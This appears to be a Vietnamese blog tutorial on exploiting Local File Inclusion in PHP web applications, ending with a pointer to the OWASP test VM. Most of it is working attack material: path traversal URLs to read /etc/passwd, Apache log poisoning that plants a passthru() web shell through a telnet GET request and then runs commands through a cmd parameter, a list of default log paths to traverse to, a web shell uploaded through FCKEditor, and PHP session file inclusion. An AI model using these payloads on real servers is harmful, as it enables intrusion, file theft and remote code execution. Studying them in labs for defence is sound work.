Là một lỗi cho phép kẻ tấn công có thể đọc được các file trên hệ thống, các file có thể chứa các thông tin nhạy cảm như password, thông tin user... Lỗi xảy ra do người lập trình kiểm soát đầu vào không đầy đủ.
Khi lỗi này xảy ra thì nó cho phép attacker có thể xuất ra nội dung của tập tin, nhưng tuỳ vào mức độ thì nó cũng có thể dẫn đến:
- Thực thi code trên server.
- Thực thi các code trên client-side như các mã Java-script nó có thể lợi dụng để thực hiện tấn công XSS.
- Tấn công từ chối dịch vụ(DoS)
- Để lộ các thông tin nhạy cảm.
Local File Inclusion (LFI) là quá trình include file, việc include này thực hiện trên máy chủ cục bộ, và ta có thể khai thác lỗi thông qua các web chạy ứng dụng trên đó mà không kiểm soát kĩ các đầu vào.
Cách kiểm tra
Để thực hiệ kiểm tra lỗi ta có thể thực hiện đưa vào các đường dẫn file ngay trên URL .
Ví dụ ta có đường dẫn ban đầu:
http://vulnerable_host/preview.php?file=example.html
đường dẫn có dạng như trên cho phép ta có thể khai thác lỗi LFI.
Để khai thác ta thay file gọi ra mặc định bằng một file ta mong muốn.

http://vulnerable_host/preview.php?file=../../../../etc/passwd
../../ là do ta không biết mình đang đứng ở thư mục nào ../ sẽ giúp nhảy thư mục.

Nếu thành công thì kết quả trả về sẽ tương tự như:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
alex:x:500:500:alex:/home/alex:/bin/bash
margo:x:501:501::/home/margo:/bin/bash

Tuy nhiên, đôi khi việc khai thác sẽ khó khăn hơn. Xem xét đoạn code sau:

<?php “include/”.include($_GET['filename'].“.php”); ?>

Trong trường hợp này việc thay thế tệp tin tùy ý sẽ không làm việc mà chúng sẽ được thêm vào đuôi là .php. Để bypass qua nó, ta có thể sử dụng kĩ thuật với null-byte. Kể từ thì các kí tự sau đó sẽ được bỏ qua hoặc sử dụng /? thì các thông số đằng sau sẽ đước coi là biến. Như vậy kết quả vẫn trả về bình thương khi ta sử dụng:
http://vulnerable_host/preview.php?file=../../../../etc/passwd

LFI thông qua Apache Log
Các HTTP Request độc hại có thể tồn tại trên Access Log của Apache, bằng cách như vậy ta có thể đưa các đoạn mã thực thi vào các phần của http request mà ta có thể chỉnh sửa được. Khi đó ta có thể thực thi code ngay trên server.
HTTP/1.1 200 OK Content-Length: 82015 Content-Type: text/html Content-Location: ……
………
[End Telnet]----------------------------------------------------------------------------

[Logfiles - access.log]-----------------------------------------------------------------
......
58.18.29.152 - - [05/Dec/2008:12:13:22 +0700]
"GET /index.php?p=new.php HTTP/1.1" 200 1958
......
[End log]-------------------------------------------------------------------------------

Trong ví dụ ta sẽ đưa các mã  thực thi vào mục yêu cầu sau GET khi đó thì ta có thể thực thi đoạn mã đó trên server do mã này được ghi trực tiếp trên server.

>telnet www.hackme.com 80
GET /cwh/<? passthru($_GET[cmd]) ?> HTTP/1.1

Đoạn lệnh để đưa lên đoạn mã độc lên server.
Trên file Access log sẽ thể hiện đoạn request của ta như sau:
[Logfiles - access.log]-----------------------------------------------------------------
......
58.18.29.152 - - [05/Dec/2008:12:14:22 +0700]
"GET /cwh/<? passthru($_GET[cmd]) ?> HTTP/1.1" 200 1958 <-- Inject Code into Logfiles
......
[End log]-------------------------------------------------------------------------------
Bây giờ ta sẽ sử dụng brower để truy cập tới file AccessLog trên hệ thống:
Ví dụ:
www.hackme.com/index.php?p=../../apache/logs/access.log
 Khi truy cập vào ta có thể thấy lỗi không thực thi được đoạn lệnh ta đưa vào:
Ví dụ:
Warning: passthru() [function.passthru]: Cannot execute a blank command in
/opt/lampp/apache/logs/access.log  on line 457

Như vậy là đoạn mã ta đưa lên đã được thực thi. Bây giờ ta sẽ truyền vào tham số mong muốn:
Ví dụ:
www.hackme.com/index.php?p=../../apache/logs/access.log&cmd=ls -la

Đoạn url trên đưa thêm thông số cmd để cung cấp cho  biến cmd ở đoạn lệnh tiêm vào.
Từ đây khi thực thi thành công ta có thể thao tác mọi thứ trên hệ thống.

Ngoài ra ta cũng có thể khai thác thông qua error log. Cách làm tương tự với access log tuy nhiên việc thực hiện trên error log khó khăn hơn.
Default Log locations list that used with LFI:
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log

LFI thông qua các file khác
Ta có thể khai thác lỗi thông qua phiên bản cũ của FCKEditor nó cho phép ta upload một số các file lên hệ thống. Một số phiên bản sẽ cho phép ta upload một số file như .php3, .aa, .bb, .cwh…. Nêu website mắc lỗi LFI, chúng ta có thể đưa các đoạn mã độc hại vào file upload(<?passthru($_GET[cmd])?) sau đó sử dụng lỗi LFI tới file upload.
Ví dụ:
Ta upload file với tên shell.cwh sau đó thực hiện url sau:
[LFI Vulnerable] www.hackme.com/index.php?p=
[Uploaded File]  www.hackme.com/userfiles/upload/shell.cwh
[LFI <> RCE] www.hackme.com/index.php?p=./userfiles/upload/shell.cwh&cmd=ls -la
 Ngoài ra khi các website cho upload file ảnh ta cũng có thể đưa code vào file ảnh và thực thi chúng.

Khai thác thông qua PHP Sessions
Nếu một trang web php sử dụng sessions thì ta có thể đưa các lệnh thực thi vào nếu dữ liệu session có thể sửa đổi được. Khi đó đoạn mã của ta sẽ dễ dàng được thực thi.
File session có thể chứa trong /tmp nhưng nó cũng có thể trong /var/lib/php5/ và một số file khác.
index.php?p=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7

Ta cố gắng thực hiện thay đổi các giá trị của session để tìm ra vị trí tiêm thích hợp.

Để test các lỗi trên ta có thể sử dụng trực tiếp máy ảo của owasp để test. Link download

Tham khảo
Owasp testing guide  v4
www.exploit-db.com
ddxhunter.wordpress.com

Đăng nhận xét

 
Top